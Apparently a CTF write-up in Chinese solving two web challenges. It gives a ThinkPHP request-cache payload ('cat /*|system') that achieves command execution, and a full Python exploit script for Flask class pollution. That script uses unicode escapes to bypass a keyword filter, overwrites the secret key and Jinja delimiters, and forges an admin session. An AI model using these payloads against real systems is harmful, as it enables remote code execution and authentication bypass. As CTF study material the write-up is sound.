tpdoor

框架为ThinkPHP

<?php

namespace app\controller;

use app\BaseController;
use think\facade\Db;

class Index extends BaseController
{
    protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit'];
    public function index($isCache = false , $cacheTime = 3600)
    {
        
        if($isCache == true){
            $config = require  __DIR__.'/../../config/route.php';
            $config['request_cache_key'] = $isCache;
            $config['request_cache_expire'] = intval($cacheTime);
            $config['request_cache_except'] = [];
            file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');
            return 'cache is enabled';
        }else{
            return 'Welcome ,cache is disabled';
        }
    }
}

isCache值可控即request_cache_key值可控。
考察请求缓存的相关知识,参考https://www.kancloud.cn/manual/thinkphp6_0/1037524

/vendor/topthink/framework/src/think/middleware/CheckRequestCache.php

<?php
/**
     * 读取当前地址的请求缓存信息
     * @access protected
     * @param Request $request
     * @param mixed   $key
     * @return null|string
     */
    protected function parseCacheKey($request, $key)
    {
        if ($key instanceof Closure) {
            $key = call_user_func($key, $request);
        }

        if (false === $key) {
            // 关闭当前缓存
            return;
        }

        if (true === $key) {
            // 自动缓存功能
            $key = '__URL__';
        } elseif (str_contains($key, '|')) {
            [$key, $fun] = explode('|', $key); //这里对key进行了分割
        }

        // 特殊规则替换
        if (str_contains($key, '__')) {
            $key = str_replace(['__CONTROLLER__', '__ACTION__', '__URL__'], [$request->controller(), $request->action(), md5($request->url(true))], $key);
        }

        if (str_contains($key, ':')) {
            $param = $request->param();

            foreach ($param as $item => $val) {
                if (is_string($val) && str_contains($key, ':' . $item)) {
                    $key = str_replace(':' . $item, (string) $val, $key);
                }
            }
        } elseif (str_contains($key, ']')) {
            if ('[' . $request->ext() . ']' == $key) {
                // 缓存某个后缀的请求
                $key = md5($request->url());
            } else {
                return;
            }
        }

        if (isset($fun)) {
            $key = $fun($key); //这里直接裸奔了,无任何过滤
        }

        return $key;
    }

使用
payload

?isCache=cat%20/*|system

访问第二次时触发缓存就会执行命令,但下一次执行其他命令就需要等到缓存消除即3600秒。

easy_polluted

参考文章:https://blog.jacki.cn/2024/07/07/ctfshow-xgctf/#web

app.py

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)

    return md5_hash.hexdigest()
def filter(user_input):
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
    for pattern in blacklisted_patterns:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
    def __init__(self):
        pass

@app.route('/',methods=['POST'])
def index():
    username = request.form.get('username')
    password = request.form.get('password')
    session["username"] = username
    session["password"] = password
    Evil = evil()
    if request.data:
        if filter(str(request.data)):
            return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
        else:
            merge(json.loads(request.data), Evil)
            return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
    return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
    username = session.get("username", None)
    password = session.get("password", None)
    if username and password:
        if username == "adminer" and password == app.secret_key:
            return render_template("flag.html", flag=open("/flag", "rt").read())
        else:
            return "Unauthorized"
    else:
        return f'Hello,  This is the POLLUTED page.'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

利用merge参数来进行原型链污染,修改app.secret,以及模板语法来解析flag。

secret_key 的路径为 init.globals.app.secret_key

模版语法 的路径为 init.globals.app.jinja_env.variable_start_string 和 variable_end_string

import requests
import json

def poc_1(session, url):
    headers = {
        'Content-Type':'application/json'
    }
    res = session.post(url=url, headers=headers, data=json.dumps({
        r"\u005F\u005F\u0069nit\u005F\u005F": {
            r"\u005F\u005F\u0067lobals\u005F\u005F": {
                r"\u0061pp": {
                    "config": {
                        r"SECRET\u005FKEY": "123"
                    }
                }
            }
        }
    }), proxies={'http':'http://127.0.0.1:8080'})
    return res.text

def poc_2(session, url):
    headers = {
        'Content-Type':'application/json'
    }
    res = session.post(url=url, headers=headers, data=json.dumps({
        r"\u005F\u005F\u0069nit\u005F\u005F": {
            r"\u005F\u005F\u0067lobals\u005F\u005F": {
                r"\u0061pp": {
                    r"jinja\u005F\u0065nv": {
                        r"variable\u005Fstart\u005F\u0073tring": "[#",
                        r"variable\u005Fend\u005F\u0073tring": "#]"
                    }
                }
            }
        }
    }), proxies={'http':'http://127.0.0.1:8080'})
    return res.text

def poc_admin(session, url):
    url = url + "/admin"
    headers = {
        'Cookie': 'session=eyJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiYWRtaW5lciJ9.ZpuAjA.JqS6L3KEVXx-pz3e3hFIDp_8wJ8'
    }
    res = session.post(url=url, headers=headers, data=json.dumps({
        r"\u005F\u005F\u0069nit\u005F\u005F": {
            r"\u005F\u005F\u0067lobals\u005F\u005F": {
                r"\u0061pp": {
                    r"jinja\u005F\u0065nv": {
                        r"variable\u005Fstart\u005F\u0073tring": "[#",
                        r"variable\u005Fend\u005F\u0073tring": "#]"
                    }
                }
            }
        }
    }), proxies={'http':'http://127.0.0.1:8080'})
    return res 

if __name__ == '__main__':
    url = "http://0ef6feea-2f36-45f4-99b0-f3c0184bafdb.challenge.ctf.show/"
    session = requests.Session()
    result1 = poc_1(session, url)
    print(result1)
    result2 = poc_2(session, url)
    print(result2)
    flag = poc_admin(session, url)
    print(flag.text)

使用unicode来绕过关键字过滤。

这个脚本发包时会出现\\,这里手动去除多余的\再使用bp发包。

最后访问admin时的jwt可以手动生成,也可以post传参username和password,服务端会返回Cookie。

获取flag (如果在修改模版语法前请求了/admin, 因为模板已经渲染了 无发显示flag 重启环境 先污染再请求/admin)